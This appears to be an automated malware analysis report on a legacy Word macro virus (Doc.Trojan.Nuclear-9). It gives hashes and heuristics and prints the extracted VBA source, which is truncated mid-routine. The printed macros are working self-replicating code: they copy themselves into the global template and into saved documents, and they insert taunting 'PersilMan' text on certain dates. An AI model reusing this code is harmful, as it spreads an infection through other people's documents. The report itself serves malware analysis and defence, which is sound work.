Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e2fc2b561ae739a…

MALICIOUS

Office (OLE)

42.0 KB Created: 1998-01-26 15:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b42c07fefc56791e28c0be7d8d2334b8 SHA-1: 59b945c73cb65ac6ab828f827840ee7f4201cd8e SHA-256: 6e2fc2b561ae739a8bb997133e7bf1e04ab2ebf7cdbfbafab6cad3c963cc7a41
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros, as indicated by multiple heuristic firings including OLE_VBA_MACROS and OLE_VBA_AUTOOPEN. The AutoOpen macro in the 'macros.bas' script is designed to copy itself and other macros to the current document, suggesting an attempt to spread or establish persistence. The presence of 'Nuclear.T.DOK' in the document body and the ClamAV detection 'Doc.Trojan.Nuclear-9' strongly suggest a malicious intent, likely related to macro-based malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Nuclear-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nuclear-9
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17372 bytes
SHA-256: fe51c7647420875b1780f181f1f4c36eaf33c10f6febf66af5f6aabe24e8cbcb
Detection
ClamAV: Doc.Trojan.Nuclear-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FilePrintDefault"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Prints the active document using the current defaults"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FilePrintDefault.MAIN"
WordBasic.Call "PersilMan"
WordBasic.FilePrintDefault
End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Busted

WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If (dlg.Format = 0) Or (dlg.Format = 1) Then
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[WindowName$]() + ":AutoExec", 0
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[WindowName$]() + ":AutoOpen", 0
    WordBasic.MacroCopy "Global:FileSaveAs", WordBasic.[WindowName$]() + ":FileSaveAs", 0
    WordBasic.MacroCopy "Global:FilePrint", WordBasic.[WindowName$]() + ":FilePrint", 0
    WordBasic.MacroCopy "Global:FileOpen", WordBasic.[WindowName$]() + ":FileOpen", 0
    WordBasic.MacroCopy "Global:FilePrintDefault", WordBasic.[WindowName$]() + ":FilePrintDefault", 0
    WordBasic.MacroCopy "Global:PersilMan", WordBasic.[WindowName$]() + ":PersilMan", 0
    WordBasic.MacroCopy "Global:ClearKepek", WordBasic.[WindowName$]() + ":ClearKepek", 0
    dlg.Format = 1
End If
WordBasic.FileSaveAs dlg
GoTo EndIt

Busted:
Rem If Err <> 102 Then
Rem     FileSaveAs dlg
Rem EndIf

EndIt:
End Sub

Attribute VB_Name = "ClearKepek"

Public Sub MAIN()
    Rem Do kust nothing
End Sub

Attribute VB_Name = "PersilMan"

Public Sub MAIN()
If WordBasic.Month(WordBasic.Now()) > 4 And WordBasic.Day(WordBasic.Now()) > 20 Then
    If WordBasic.Second(WordBasic.Now()) > 55 Then
        WordBasic.EndOfDocument
        WordBasic.Insert Chr___() '$11
        WordBasic.Insert "PersilMan will take his revenge"
        WordBasic.Insert Chr___() '$11
        WordBasic.Insert "you will be cleaned up by PersilMan, SOON"
        WordBasic.StartOfDocument
    End If
End If
End Sub

Attribute VB_Name = "FilePrint"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Prints the active document"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FilePrint.MAIN"
WordBasic.Call "PersilMan"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FilePrint(False)
WordBasic.CurValues.FilePrint dlg
WordBasic.Dialog.FilePrint dlg
WordBasic.FilePrint dlg
End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Opens an existing document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
If IfNotInstalled = 0 Then
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoExec", "Global:AutoExec", 0
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoOpen", "Global:AutoOpen", 0
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":FileSaveAs", "Global:FileSaveAs", 0
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":FilePrint", "Global:FilePrint", 0
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":FileOpen", "Global:FileOpen", 0
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":FilePrintDefault", "Global:FilePrintDefault", 0
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":PersilMan", "Global:PersilMan", 0
    WordBasic.MacroCopy WordBasic.[WindowName$]() + ":ClearKepek", "Global:ClearKepek", 0
End If
WordBasic.Call "ClearKepek"
End 
... (truncated)

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